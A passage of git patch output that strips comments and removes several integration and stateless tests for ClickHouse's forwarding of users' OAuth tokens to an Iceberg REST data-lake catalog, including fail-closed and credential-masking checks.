lakekeeper_rejects(started_cluster, token) diff --git a/tests/integration/test_datalake_token_forwarding/configs/token_forwarding.xml b/tests/integration/test_datalake_token_forwarding/configs/token_forwarding.xml index 9fb2e1579a5c..9b148d647c29 100644 --- a/tests/integration/test_datalake_token_forwarding/configs/token_forwarding.xml +++ b/tests/integration/test_datalake_token_forwarding/configs/token_forwarding.xml @@ -1,14 +1,5 @@ - 1 - - jwt_static_key @@ -23,12 +14,6 @@ hs256 default - diff --git a/tests/integration/test_datalake_token_forwarding/configs/users.xml b/tests/integration/test_datalake_token_forwarding/configs/users.xml index 48d16fc29d25..3e4daacbffb2 100644 --- a/tests/integration/test_datalake_token_forwarding/configs/users.xml +++ b/tests/integration/test_datalake_token_forwarding/configs/users.xml @@ -7,7 +7,6 @@ 1 1 - passworduser_password default diff --git a/tests/integration/test_datalake_token_forwarding/test.py b/tests/integration/test_datalake_token_forwarding/test.py index 659b9531a3ba..b2706d219734 100644 --- a/tests/integration/test_datalake_token_forwarding/test.py +++ b/tests/integration/test_datalake_token_forwarding/test.py @@ -1,18 +1,3 @@ -""" -Request-shape tests for forwarding the querying user's OAuth token to an Iceberg REST catalog. - -Layer 2 of the verification plan: an `apache/iceberg-rest-fixture`-style catalog (the only image -that actually routes the `/v1/oauth/tokens` grant) plus HS256 tokens minted inline, so both -passthrough and RFC 8693 token exchange can be observed on the wire. - -Deliberately a separate suite from `test_database_iceberg`: that one creates its database with -three engine arguments, and vended credentials are only applied when the engine has exactly one, -so per-user credential assertions there would be vacuous. - -Run: - python -m ci.praktika run "integration" --test test_datalake_token_forwarding -""" - import logging import uuid @@ -26,8 +11,6 @@ SECRET = "datalake_token_forwarding_secret" BASE_URL = "http://rest:8181/v1" CATALOG_NAME = "demo" -# Keep ordinary write tests synchronous; the async tests below explicitly enable the queue -# to verify that its flush context retains the authenticated token. WRITE_SETTINGS = { "allow_insert_into_iceberg": 1, "write_full_path_in_iceberg_metadata": 1, @@ -56,13 +39,9 @@ def started_cluster(): logging.info("Starting cluster...") cluster.start() - # Auto-provisioned token users hold no privileges of their own, so hand every one of them - # this role -- `common_roles` in `token_forwarding.xml` grants it. Created here rather than - # inside a test so that it already exists the first time a token user authenticates. node = cluster.instances["node1"] node.query("CREATE ROLE IF NOT EXISTS token_users") node.query("GRANT CHECK, DROP TABLE, INSERT, SELECT, SHOW ON *.* TO token_users") - # Reading and writing table data goes to S3, which the `SOURCES` privileges guard separately. node.query("GRANT S3 ON *.* TO token_users") yield cluster @@ -96,15 +75,6 @@ def query_with_token(node, token, sql, **kwargs): def create_database(node, name, settings, storage_credentials=False): - """ - One engine argument by default, which is what makes per-user credential vending observable. - - `storage_credentials` adds the MinIO key pair as the second and third arguments. Anything that - reads or writes table *data* needs them: with a single argument the storage credentials have to - come from the catalog, and the fixture's catalog does not vend any. Pinning them leaves the - catalog identity as the only per-user thing in the query, which is what the write-path tests - are about. - """ arguments = f"'{BASE_URL}'" if storage_credentials: arguments += f", '{minio_access_key}', '{minio_secret_key}'" @@ -117,11 +87,6 @@ def create_database(node, name, settings, storage_credentials=False): def create_table_in_catalog(started_cluster, namespace, table): - """ - Create a table through the catalog's own REST API, bypassing ClickHouse entirely, so that a - listing has something to find. Without it `system.tables` returns zero rows whether the catalog - answered or refused, and an assertion on the count could not fail. - """ response = requests.post( f"{catalog_local_url(started_cluster)}/namespaces/{namespace}/tables", json={ @@ -139,7 +104,6 @@ def create_table_in_catalog(started_cluster, namespace, table): def catalog_tables(started_cluster, namespace): - """The catalog's own view of a namespace, fetched without going through ClickHouse.""" response = requests.get( f"{catalog_local_url(started_cluster)}/namespaces/{namespace}/tables", timeout=30 ) @@ -148,11 +112,6 @@ def catalog_tables(started_cluster, namespace): def visible_tables(node, token, namespace, table, **kwargs): - """ - How many rows `system.tables` shows for one known table. Zero means the catalog listing did not - happen: `DatabaseDataLake::getLightweightTablesIterator` swallows catalog errors so that one - unreachable database cannot break the whole system table. - """ return query_with_token( node, token, @@ -174,65 +133,7 @@ def profile_event(node, query_id, event): ) -def test_passthrough_reaches_catalog(started_cluster): - """A token-authenticated user can list the catalog; the token itself is what the catalog sees.""" - node = started_cluster.instances["node1"] - namespace = f"ns_{uuid.uuid4().hex[:8]}" - table = f"t_{uuid.uuid4().hex[:8]}" - create_namespace(started_cluster, namespace) - create_table_in_catalog(started_cluster, namespace, table) - - create_database( - node, - CATALOG_NAME, - { - "catalog_type": "rest", - "warehouse": "demo", - "storage_endpoint": "http://minio1:9001/warehouse-rest", - "oauth_forward_user_token": 1, - }, - ) - - # A table the catalog is known to hold has to come back. Asserting only that the count is a - # number would hold just as well when the catalog refused the request, because the listing - # swallows catalog errors and returns nothing. - assert visible_tables(node, make_token("alice"), namespace, table) == "1" - - -def test_no_service_principal_fallback(started_cluster): - """ - With forwarding on, no request may be signed as the service principal. The - `DataLakeRestCatalogAuthTokenRetrieve` event is the fail-open detector: it must stay 0. - """ - node = started_cluster.instances["node1"] - namespace = f"ns_{uuid.uuid4().hex[:8]}" - table = f"t_{uuid.uuid4().hex[:8]}" - create_namespace(started_cluster, namespace) - create_table_in_catalog(started_cluster, namespace, table) - - create_database( - node, - CATALOG_NAME, - { - "catalog_type": "rest", - "warehouse": "demo", - "storage_endpoint": "http://minio1:9001/warehouse-rest", - "catalog_credential": "service:principal", - "oauth_forward_user_token": 1, - }, - ) - - query_id = f"fwd-{uuid.uuid4()}" - # The listing has to succeed, otherwise a zero grant count would only mean nothing was asked. - assert visible_tables( - node, make_token("alice"), namespace, table, params={"query_id": query_id} - ) == "1" - - assert profile_event(node, query_id, "DataLakeRestCatalogAuthTokenRetrieve") == 0 - - def test_password_user_is_denied_over_http(started_cluster): - """A password-authenticated user has no token, so the catalog must refuse the request.""" node = started_cluster.instances["node1"] create_database( @@ -257,7 +158,6 @@ def test_password_user_is_denied_over_http(started_cluster): def test_password_user_is_denied_over_native(started_cluster): - """Same over the native protocol, which authenticates once at handshake time.""" node = started_cluster.instances["node1"] create_database( @@ -281,7 +181,6 @@ def test_password_user_is_denied_over_native(started_cluster): def test_native_protocol_forwards_jwt(started_cluster): - """`clickhouse-client --jwt` forwards the same way the HTTP interface does.""" node = started_cluster.instances["node1"] namespace = f"ns_{uuid.uuid4().hex[:8]}" table = f"t_{uuid.uuid4().hex[:8]}" @@ -310,95 +209,10 @@ def test_native_protocol_forwards_jwt(started_cluster): f"SETTINGS show_data_lake_catalogs_in_system_tables = true\"", ] ) - # As over HTTP: the known table has to be listed, not merely some number returned. assert result.strip() == "1", result -def test_exchange_at_catalog_token_endpoint(started_cluster): - """ - `oauth_token_exchange_uri` pointed at the catalog's own (deprecated) `/v1/oauth/tokens`. - The Apache fixture is the only image that routes the grant, so this is where the RFC 8693 wire - format is confirmed against a real implementation. - - Note: the fixture echoes the subject token back as the session token by design, so this suite - must not assert "the raw token appears nowhere". - """ - node = started_cluster.instances["node1"] - namespace = f"ns_{uuid.uuid4().hex[:8]}" - create_namespace(started_cluster, namespace) - - create_database( - node, - CATALOG_NAME, - { - "catalog_type": "rest", - "warehouse": "demo", - "storage_endpoint": "http://minio1:9001/warehouse-rest", - "catalog_credential": "service:principal", - "auth_scope": "catalog", - "oauth_forward_user_token": 1, - "oauth_token_exchange_uri": f"{BASE_URL}/oauth/tokens", - }, - ) - - query_id = f"exchange-{uuid.uuid4()}" - query_with_token( - node, - make_token("alice"), - f"SELECT count() FROM system.tables WHERE database = '{CATALOG_NAME}' " - f"SETTINGS show_data_lake_catalogs_in_system_tables = true", - params={"query_id": query_id}, - ) - - assert profile_event(node, query_id, "DataLakeRestCatalogTokenExchange") >= 1 - assert profile_event(node, query_id, "DataLakeRestCatalogTokenExchangeFailures") == 0 - # Even with an exchange configured, no `client_credentials` grant is issued behind the user. - assert profile_event(node, query_id, "DataLakeRestCatalogAuthTokenRetrieve") == 0 - - -def test_exchanged_session_token_is_cached_per_user(started_cluster): - """A second query by the same user reuses the exchanged session token.""" - node = started_cluster.instances["node1"] - namespace = f"ns_{uuid.uuid4().hex[:8]}" - create_namespace(started_cluster, namespace) - - create_database( - node, - CATALOG_NAME, - { - "catalog_type": "rest", - "warehouse": "demo", - "storage_endpoint": "http://minio1:9001/warehouse-rest", - "catalog_credential": "service:principal", - "auth_scope": "catalog", - "oauth_forward_user_token": 1, - "oauth_token_exchange_uri": f"{BASE_URL}/oauth/tokens", - "oauth_user_token_cache_ttl": 300, - }, - ) - - token = make_token("alice") - sql = ( - f"SELECT count() FROM system.tables WHERE database = '{CATALOG_NAME}' " - f"SETTINGS show_data_lake_catalogs_in_system_tables = true" - ) - - first = f"cache-1-{uuid.uuid4()}" - query_with_token(node, token, sql, params={"query_id": first}) - assert profile_event(node, first, "DataLakeRestCatalogTokenExchange") >= 1 - - second = f"cache-2-{uuid.uuid4()}" - query_with_token(node, token, sql, params={"query_id": second}) - assert profile_event(node, second, "DataLakeRestCatalogTokenExchange") == 0 - assert profile_event(node, second, "DataLakeRestCatalogUserTokenCacheHits") >= 1 - - def test_no_forwarding_without_the_server_setting(started_cluster): - """ - The database setting alone is not enough: without `enable_token_forwarding` the token is - destroyed at authentication and the request has to fail closed rather than silently run as the - service principal. Verified by turning the server setting off and restarting. - """ node = started_cluster.instances["node1"] create_database( @@ -437,11 +251,6 @@ def test_no_forwarding_without_the_server_setting(started_cluster): def test_check_database_forwards_the_user_token(started_cluster): - """ - `CHECK DATABASE` contacts the catalog, so it has to carry the querying user's token like every - other statement. It used to send no token at all and therefore could never succeed against a - forwarding database, no matter how the session had authenticated. - """ node = started_cluster.instances["node1"] namespace = f"ns_{uuid.uuid4().hex[:8]}" create_namespace(started_cluster, namespace) @@ -457,53 +266,19 @@ def test_check_database_forwards_the_user_token(started_cluster): }, ) - # `CHECK DATABASE` returns no rows: it either completes or throws. query_with_token(node, make_token("checker"), f"CHECK DATABASE {CATALOG_NAME}") -def test_check_database_without_a_token_is_denied(started_cluster): - """The other half of the same statement: a session with no token must still fail closed.""" - node = started_cluster.instances["node1"] - - create_database( - node, - CATALOG_NAME, - { - "catalog_type": "rest", - "warehouse": "demo", - "storage_endpoint": "http://minio1:9001/warehouse-rest", - "catalog_credential": "service:principal", - "oauth_forward_user_token": 1, - }, - ) - - output = node.query_and_get_error( - f"CHECK DATABASE {CATALOG_NAME}", - user="passworduser", - password="passworduser_password", - ) - assert "CATALOG_USER_TOKEN_NOT_AVAILABLE" in output, output - - WRITE_DATABASE_SETTINGS = { "catalog_type": "rest", "warehouse": "demo", "storage_endpoint": "http://minio1:9001/warehouse-rest", - # A service principal is configured, so a fallback to it would succeed if one existed. "catalog_credential": "service:principal", "oauth_forward_user_token": 1, } def write_fixture(started_cluster, node): - """ - A namespace and a table the catalog already holds, plus a forwarding database that can reach - the data behind them. - - The table is registered through the catalog's own REST API rather than with `CREATE TABLE`: - `createStorageObjectStorage` builds the storage from the global context, which never holds a - user token, so `CREATE TABLE` against a forwarding database always fails closed. - """ namespace = f"ns_{uuid.uuid4().hex[:8]}" table = f"t_{uuid.uuid4().hex[:8]}" create_namespace(started_cluster, namespace) @@ -513,13 +288,6 @@ def write_fixture(started_cluster, node): def test_insert_reaches_the_catalog_as_the_querying_user(started_cluster): - """ - `INSERT` commits through `catalog->updateMetadata(..., context->getForwardedAuthToken())`, so - the write path has to carry the querying user's identity exactly as the read path does. - - `docs/en/engines/database-engines/datalake.md` promises this under "What is and is not - covered"; until this test there was nothing behind the promise. - """ node = started_cluster.instances["node1"] namespace, table = write_fixture(started_cluster, node) @@ -532,18 +300,14 @@ def test_insert_reaches_the_catalog_as_the_querying_user(started_cluster): params={"query_id": query_id, **WRITE_SETTINGS}, ) - # The commit was signed with the user's own identity, not quietly with the service principal. assert profile_event(node, query_id, "DataLakeRestCatalogAuthTokenRetrieve") == 0 - # The snapshot the catalog now points at is the one this INSERT wrote. assert ( query_with_token(node, token, f"SELECT x FROM {CATALOG_NAME}.`{namespace}.{table}`").strip() == "written by the token user" ) -@pytest.mark.parametrize("wait_for_async_insert", [0, 1]) -def test_async_insert_retains_the_querying_user_token(started_cluster, wait_for_async_insert): - """A queued `INSERT` must retain its token after the originating HTTP request finishes.""" +def test_async_insert_retains_the_querying_user_token(started_cluster): node = started_cluster.instances["node1"] namespace, table = write_fixture(started_cluster, node) token = make_token("async_writer") @@ -551,9 +315,9 @@ def test_async_insert_retains_the_querying_user_token(started_cluster, wait_for_ settings = { **WRITE_SETTINGS, "async_insert": 1, - "wait_for_async_insert": wait_for_async_insert, + "wait_for_async_insert": 0, "async_insert_use_adaptive_busy_timeout": 0, - "async_insert_busy_timeout_ms": 100 if wait_for_async_insert else 60000, + "async_insert_busy_timeout_ms": 60000, } query_with_token( node, @@ -562,9 +326,7 @@ def test_async_insert_retains_the_querying_user_token(started_cluster, wait_for_ params={"query_id": query_id, **settings}, ) - if not wait_for_async_insert: - # The session has ended before an administrator without a token triggers the flush. - node.query("SYSTEM FLUSH ASYNC INSERT QUEUE") + node.query("SYSTEM FLUSH ASYNC INSERT QUEUE") assert profile_event(node, query_id, "AsyncInsertQuery") == 1 assert ( @@ -573,27 +335,7 @@ def test_async_insert_retains_the_querying_user_token(started_cluster, wait_for_ ) -def test_insert_without_a_token_is_denied(started_cluster): - """The other half: a session with no token must not be able to write through the catalog.""" - node = started_cluster.instances["node1"] - namespace, table = write_fixture(started_cluster, node) - - output = node.query_and_get_error( - f"INSERT INTO {CATALOG_NAME}.`{namespace}.{table}` VALUES ('written by nobody')", - user="passworduser", - password="passworduser_password", - settings=WRITE_SETTINGS, - ) - assert "CATALOG_USER_TOKEN_NOT_AVAILABLE" in output, output - - def test_drop_table_reaches_the_catalog_as_the_querying_user(started_cluster): - """ - `StorageObjectStorage::drop` sends `catalog_auth_token`, a member captured when the storage was - constructed rather than read from a query context. The invariant that makes that safe is that - `DatabaseDataLake::dropTable` builds the storage from the query context and calls `drop` on it - synchronously, so the captured token is the querying user's. Nothing else exercises it. - """ node = started_cluster.instances["node1"] namespace, table = write_fixture(started_cluster, node) @@ -605,21 +347,5 @@ def test_drop_table_reaches_the_catalog_as_the_querying_user(started_cluster): params={"query_id": query_id}, ) - # The catalog's own view, not ClickHouse's: the drop really reached it. assert table not in catalog_tables(started_cluster, namespace) assert profile_event(node, query_id, "DataLakeRestCatalogAuthTokenRetrieve") == 0 - - -def test_drop_table_without_a_token_is_denied(started_cluster): - """A session with no token cannot drop, and the refusal leaves the table intact.""" - node = started_cluster.instances["node1"] - namespace, table = write_fixture(started_cluster, node) - - output = node.query_and_get_error( - f"DROP TABLE {CATALOG_NAME}.`{namespace}.{table}`", - user="passworduser", - password="passworduser_password", - ) - assert "CATALOG_USER_TOKEN_NOT_AVAILABLE" in output, output - # Fail closed means the table survives, not that it is half dropped. - assert table in catalog_tables(started_cluster, namespace) diff --git a/tests/queries/0_stateless/05027_datalake_token_forwarding_masking.sh b/tests/queries/0_stateless/05027_datalake_token_forwarding_masking.sh index 6ef8d717d49d..d07a33236e8f 100755 --- a/tests/queries/0_stateless/05027_datalake_token_forwarding_masking.sh +++ b/tests/queries/0_stateless/05027_datalake_token_forwarding_masking.sh @@ -1,10 +1,6 @@ #!/usr/bin/env bash # Tags: no-fasttest -# The `oauth_forward_user_token` family carries no secret and must stay visible in -# `SHOW CREATE DATABASE` and `system.databases.engine_full`, while the credential settings next to -# it stay masked. No catalog is contacted: forwarding defers `/v1/config` to the first user query. - CLICKHOUSE_CLIENT_SERVER_LOGS_LEVEL=fatal CUR_DIR=$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd) diff --git a/tests/queries/0_stateless/05028_datalake_token_forwarding_fail_closed.sh b/tests/queries/0_stateless/05028_datalake_token_forwarding_fail_closed.sh index 0f417331a068..df931872b1ad 100755 --- a/tests/queries/0_stateless/05028_datalake_token_forwarding_fail_closed.sh +++ b/tests/queries/0_stateless/05028_datalake_token_forwarding_fail_closed.sh @@ -1,16 +1,5 @@ #!/usr/bin/env bash # Tags: no-fasttest -# no-fasttest: `DataLakeCatalog` is registered only under `USE_AVRO && USE_PARQUET`. - -# A database that insists on forwarding, on a server where `enable_token_forwarding` is off (the -# default, and no config under `tests/config/` turns it on). Every path into the catalog must -# refuse with `CATALOG_USER_TOKEN_NOT_AVAILABLE` rather than fall back to the service principal. -# No catalog service is needed: the refusal happens before the first request is built. -# -# The mirror case -- forwarding allowed, but this session authenticated with a password -- needs -# `enable_token_forwarding = 1`, which a stateless test cannot arrange, and is covered by -# `test_password_user_is_denied_over_{http,native}` in -# `tests/integration/test_datalake_token_forwarding/test.py`. CLICKHOUSE_CLIENT_SERVER_LOGS_LEVEL=fatal @@ -20,13 +9,10 @@ CUR_DIR=$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd) DB="db_token_fwd_closed_${CLICKHOUSE_DATABASE}" -# The service principal's client secret, shaped like a JWT and carrying `${CLICKHOUSE_DATABASE}`, -# so that finding this string in a log is unambiguous evidence of a leak. CANARY="eyJhbGciOiJIUzI1NiJ9.${CLICKHOUSE_DATABASE}.c2VydmljZS1wcmluY2lwYWw" ${CLICKHOUSE_CLIENT} --query "DROP DATABASE IF EXISTS ${DB}" -# A service principal *is* configured, so a fallback would have something to fall back to. ${CLICKHOUSE_CLIENT} --allow_experimental_database_iceberg=1 --query " CREATE DATABASE ${DB} ENGINE = DataLakeCatalog('http://localhost:8181/v1') SETTINGS @@ -45,19 +31,14 @@ ${CLICKHOUSE_CLIENT} --query "EXISTS TABLE ${DB}.\`ns.t\`" 2>&1 | grep -o 'CATAL echo '-- CHECK DATABASE' ${CLICKHOUSE_CLIENT} --query "CHECK DATABASE ${DB}" 2>&1 | grep -o 'CATALOG_USER_TOKEN_NOT_AVAILABLE' -# `SHOW TABLES` turns on `show_data_lake_catalogs_in_system_tables` for its own query, under which -# `DatabaseDataLake::getTablesIterator` rethrows instead of swallowing the error into an empty list. echo '-- SHOW TABLES discloses nothing' ${CLICKHOUSE_CLIENT} --query "SHOW TABLES FROM ${DB}" 2>/dev/null | wc -l echo '-- and reports the refusal rather than an empty list' ${CLICKHOUSE_CLIENT} --query "SHOW TABLES FROM ${DB}" 2>&1 >/dev/null | grep -c 'CATALOG_USER_TOKEN_NOT_AVAILABLE' -# Two branches share the error code, so pin down which one fired. echo '-- the error names the server-level switch as the cause' ${CLICKHOUSE_CLIENT} --query "SELECT * FROM ${DB}.\`ns.t\`" 2>&1 | grep -o 'server-level .enable_token_forwarding. setting is off' -# `catalog_credential` is masked out of the query text, and the refusal must not echo it into the -# exception either. ${CLICKHOUSE_CLIENT} --query "SYSTEM FLUSH LOGS query_log, text_log" echo '-- the credential never reaches system.query_log' ${CLICKHOUSE_CLIENT} --query " @@ -65,7 +46,6 @@ SELECT count() FROM system.query_log WHERE event_date >= yesterday() AND current_database = currentDatabase() AND (query LIKE '%${CANARY}%' OR exception LIKE '%${CANARY}%') " -# Unscoped, so it also covers a leak from a background thread; the canary is unique to this run. echo '-- nor the server log' ${CLICKHOUSE_CLIENT} --query " SELECT count() FROM system.text_log diff --git a/tests/queries/0_stateless/05053_glue_token_forwarding_validation.sh b/tests/queries/0_stateless/05053_glue_token_forwarding_validation.sh index 6cae9f444bf2..48ce4571d9c6 100755 --- a/tests/queries/0_stateless/05053_glue_token_forwarding_validation.sh +++ b/tests/queries/0_stateless/05053_glue_token_forwarding_validation.sh @@ -1,8 +1,5 @@ #!/usr/bin/env bash # Tags: no-fasttest -# no-fasttest: `DataLakeCatalog` is registered only under `USE_AVRO && USE_PARQUET`. - -# `CREATE DATABASE` validation of `oauth_forward_user_token` for Glue. No AWS is contacted. CUR_DIR=$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd) # shellcheck source=../shell_config.sh From b83fd64b7d3233f31f9ee8005076aa4a242cffd3 Mon Sep 17 00:00:00 2001 From: Andrey Zvonov <32552679+zvonand@users.noreply.github.com> Date: Mon, 21 Sep 2026 14:39:44 +0200 Subject: [PATCH 3/8] Remove non-essential token-forwarding stateless tests Drop the three added stateless tests and their references. Runtime refusal and log-safety checks overlap retained unit and integration coverage, while masking uses existing behavior. The remaining cases restate straightforward settings-validation branches rather than cover distinct regressions. Related: https://github.com/Altinity/ClickHouse/pull/2329 --- ...atalake_token_forwarding_masking.reference | 19 ----- ...05027_datalake_token_forwarding_masking.sh | 80 ------------------- ...ake_token_forwarding_fail_closed.reference | 18 ----- ...8_datalake_token_forwarding_fail_closed.sh | 55 ------------- ...glue_token_forwarding_validation.reference | 11 --- .../05053_glue_token_forwarding_validation.sh | 48 ----------- 6 files changed, 231 deletions(-) delete mode 100644 tests/queries/0_stateless/05027_datalake_token_forwarding_masking.reference delete mode 100755 tests/queries/0_stateless/05027_datalake_token_forwarding_masking.sh delete mode 100644 tests/queries/0_stateless/05028_datalake_token_forwarding_fail_closed.reference delete mode 100755 tests/queries/0_stateless/05028_datalake_token_forwarding_fail_closed.sh delete mode 100644 tests/queries/0_stateless/05053_glue_token_forwarding_validation.reference delete mode 100755 tests/queries/0_stateless/05053_glue_token_forwarding_validation.sh diff --git a/tests/queries/0_stateless/05027_datalake_token_forwarding_masking.reference b/tests/queries/0_stateless/05027_datalake_token_forwarding_masking.reference deleted file mode 100644 index 83370e472a0f..000000000000 --- a/tests/queries/0_stateless/05027_datalake_token_forwarding_masking.reference +++ /dev/null @@ -1,19 +0,0 @@ --- secrets stay hidden -0 -0 -catalog_credential = '[HIDDEN]' --- forwarding settings stay visible -oauth_forward_user_token = 1 -oauth_forward_actor_token = 1 -oauth_user_token_cache_ttl = 120 -openid-connect/token --- the same after a detach/attach round trip -oauth_forward_user_token = 1 -0 --- rejected combinations -cannot be combined with `auth_header` -only supported for `catalog_type = 'rest'` -requires a non-empty `catalog_credential` -has no effect without `oauth_forward_user_token = 1` -has no effect without `oauth_token_exchange_uri` -must be one of the token type URNs defined by RFC 8693 diff --git a/tests/queries/0_stateless/05027_datalake_token_forwarding_masking.sh b/tests/queries/0_stateless/05027_datalake_token_forwarding_masking.sh deleted file mode 100755 index d07a33236e8f..000000000000 --- a/tests/queries/0_stateless/05027_datalake_token_forwarding_masking.sh +++ /dev/null @@ -1,80 +0,0 @@ -#!/usr/bin/env bash -# Tags: no-fasttest - -CLICKHOUSE_CLIENT_SERVER_LOGS_LEVEL=fatal - -CUR_DIR=$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd) -# shellcheck source=../shell_config.sh -. "$CUR_DIR"/../shell_config.sh - -DB="db_token_fwd_masking_${CLICKHOUSE_DATABASE}" - -${CLICKHOUSE_CLIENT} --query "DROP DATABASE IF EXISTS ${DB}" - -${CLICKHOUSE_CLIENT} --allow_experimental_database_iceberg=1 --query " -CREATE DATABASE ${DB} ENGINE = DataLakeCatalog('http://localhost:8181/v1') -SETTINGS - catalog_type = 'rest', - warehouse = 'demo', - catalog_credential = 'super_client:super_secret', - oauth_forward_user_token = 1, - oauth_token_exchange_uri = 'http://localhost:8080/realms/demo/protocol/openid-connect/token', - oauth_forward_actor_token = 1, - oauth_user_token_cache_ttl = 120 -" - -echo '-- secrets stay hidden' -${CLICKHOUSE_CLIENT} --query "SHOW CREATE DATABASE ${DB}" | grep -c 'super_secret' -${CLICKHOUSE_CLIENT} --query "SELECT engine_full FROM system.databases WHERE name = '${DB}'" | grep -c 'super_client' -${CLICKHOUSE_CLIENT} --query "SHOW CREATE DATABASE ${DB} FORMAT TSVRaw" | grep -o "catalog_credential = '\[HIDDEN\]'" - -echo '-- forwarding settings stay visible' -${CLICKHOUSE_CLIENT} --query "SHOW CREATE DATABASE ${DB}" | grep -o 'oauth_forward_user_token = 1' -${CLICKHOUSE_CLIENT} --query "SHOW CREATE DATABASE ${DB}" | grep -o 'oauth_forward_actor_token = 1' -${CLICKHOUSE_CLIENT} --query "SHOW CREATE DATABASE ${DB}" | grep -o 'oauth_user_token_cache_ttl = 120' -${CLICKHOUSE_CLIENT} --query "SELECT engine_full FROM system.databases WHERE name = '${DB}'" | grep -o 'openid-connect/token' - -echo '-- the same after a detach/attach round trip' -${CLICKHOUSE_CLIENT} --query "DETACH DATABASE ${DB}" -${CLICKHOUSE_CLIENT} --query "ATTACH DATABASE ${DB}" -${CLICKHOUSE_CLIENT} --query "SHOW CREATE DATABASE ${DB}" | grep -o 'oauth_forward_user_token = 1' -${CLICKHOUSE_CLIENT} --query "SHOW CREATE DATABASE ${DB}" | grep -c 'super_secret' - -echo '-- rejected combinations' -${CLICKHOUSE_CLIENT} --allow_experimental_database_iceberg=1 --query " -CREATE DATABASE ${DB}_bad ENGINE = DataLakeCatalog('http://localhost:8181/v1') -SETTINGS catalog_type = 'rest', warehouse = 'demo', oauth_forward_user_token = 1, - auth_header = 'Authorization: Bearer static' -" 2>&1 | grep -o 'cannot be combined with .auth_header.' - -${CLICKHOUSE_CLIENT} --allow_experimental_database_iceberg=1 --allow_experimental_database_unity_catalog=1 --query " -CREATE DATABASE ${DB}_bad ENGINE = DataLakeCatalog('http://localhost:8181/v1') -SETTINGS catalog_type = 'unity', warehouse = 'demo', oauth_forward_user_token = 1 -" 2>&1 | grep -o "only supported for .catalog_type = 'rest'." - -${CLICKHOUSE_CLIENT} --allow_experimental_database_iceberg=1 --query " -CREATE DATABASE ${DB}_bad ENGINE = DataLakeCatalog('http://localhost:8181/v1') -SETTINGS catalog_type = 'rest', warehouse = 'demo', oauth_forward_user_token = 1, - oauth_token_exchange_uri = 'http://localhost:8080/token' -" 2>&1 | grep -o 'requires a non-empty .catalog_credential.' - -${CLICKHOUSE_CLIENT} --allow_experimental_database_iceberg=1 --query " -CREATE DATABASE ${DB}_bad ENGINE = DataLakeCatalog('http://localhost:8181/v1') -SETTINGS catalog_type = 'rest', warehouse = 'demo', oauth_subject_token_type = 'urn:ietf:params:oauth:token-type:access_token' -" 2>&1 | grep -o 'has no effect without .oauth_forward_user_token = 1.' - -${CLICKHOUSE_CLIENT} --allow_experimental_database_iceberg=1 --query " -CREATE DATABASE ${DB}_bad ENGINE = DataLakeCatalog('http://localhost:8181/v1') -SETTINGS catalog_type = 'rest', warehouse = 'demo', oauth_forward_user_token = 1, - oauth_forward_actor_token = 1 -" 2>&1 | grep -o 'has no effect without .oauth_token_exchange_uri.' - -${CLICKHOUSE_CLIENT} --allow_experimental_database_iceberg=1 --query " -CREATE DATABASE ${DB}_bad ENGINE = DataLakeCatalog('http://localhost:8181/v1') -SETTINGS catalog_type = 'rest', warehouse = 'demo', catalog_credential = 'a:b', - oauth_forward_user_token = 1, - oauth_token_exchange_uri = 'http://localhost:8080/token', - oauth_subject_token_type = 'not-a-urn' -" 2>&1 | grep -o 'must be one of the token type URNs defined by RFC 8693' - -${CLICKHOUSE_CLIENT} --query "DROP DATABASE IF EXISTS ${DB}" diff --git a/tests/queries/0_stateless/05028_datalake_token_forwarding_fail_closed.reference b/tests/queries/0_stateless/05028_datalake_token_forwarding_fail_closed.reference deleted file mode 100644 index b2e3dc928997..000000000000 --- a/tests/queries/0_stateless/05028_datalake_token_forwarding_fail_closed.reference +++ /dev/null @@ -1,18 +0,0 @@ --- SELECT -CATALOG_USER_TOKEN_NOT_AVAILABLE --- DESCRIBE -CATALOG_USER_TOKEN_NOT_AVAILABLE --- EXISTS -CATALOG_USER_TOKEN_NOT_AVAILABLE --- CHECK DATABASE -CATALOG_USER_TOKEN_NOT_AVAILABLE --- SHOW TABLES discloses nothing -0 --- and reports the refusal rather than an empty list -1 --- the error names the server-level switch as the cause -server-level `enable_token_forwarding` setting is off --- the credential never reaches system.query_log -0 --- nor the server log -0 diff --git a/tests/queries/0_stateless/05028_datalake_token_forwarding_fail_closed.sh b/tests/queries/0_stateless/05028_datalake_token_forwarding_fail_closed.sh deleted file mode 100755 index df931872b1ad..000000000000 --- a/tests/queries/0_stateless/05028_datalake_token_forwarding_fail_closed.sh +++ /dev/null @@ -1,55 +0,0 @@ -#!/usr/bin/env bash -# Tags: no-fasttest - -CLICKHOUSE_CLIENT_SERVER_LOGS_LEVEL=fatal - -CUR_DIR=$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd) -# shellcheck source=../shell_config.sh -. "$CUR_DIR"/../shell_config.sh - -DB="db_token_fwd_closed_${CLICKHOUSE_DATABASE}" - -CANARY="eyJhbGciOiJIUzI1NiJ9.${CLICKHOUSE_DATABASE}.c2VydmljZS1wcmluY2lwYWw" - -${CLICKHOUSE_CLIENT} --query "DROP DATABASE IF EXISTS ${DB}" - -${CLICKHOUSE_CLIENT} --allow_experimental_database_iceberg=1 --query " -CREATE DATABASE ${DB} ENGINE = DataLakeCatalog('http://localhost:8181/v1') -SETTINGS - catalog_type = 'rest', - warehouse = 'demo', - catalog_credential = 'service:${CANARY}', - oauth_forward_user_token = 1 -" - -echo '-- SELECT' -${CLICKHOUSE_CLIENT} --query "SELECT * FROM ${DB}.\`ns.t\`" 2>&1 | grep -o 'CATALOG_USER_TOKEN_NOT_AVAILABLE' -echo '-- DESCRIBE' -${CLICKHOUSE_CLIENT} --query "DESCRIBE TABLE ${DB}.\`ns.t\`" 2>&1 | grep -o 'CATALOG_USER_TOKEN_NOT_AVAILABLE' -echo '-- EXISTS' -${CLICKHOUSE_CLIENT} --query "EXISTS TABLE ${DB}.\`ns.t\`" 2>&1 | grep -o 'CATALOG_USER_TOKEN_NOT_AVAILABLE' -echo '-- CHECK DATABASE' -${CLICKHOUSE_CLIENT} --query "CHECK DATABASE ${DB}" 2>&1 | grep -o 'CATALOG_USER_TOKEN_NOT_AVAILABLE' - -echo '-- SHOW TABLES discloses nothing' -${CLICKHOUSE_CLIENT} --query "SHOW TABLES FROM ${DB}" 2>/dev/null | wc -l -echo '-- and reports the refusal rather than an empty list' -${CLICKHOUSE_CLIENT} --query "SHOW TABLES FROM ${DB}" 2>&1 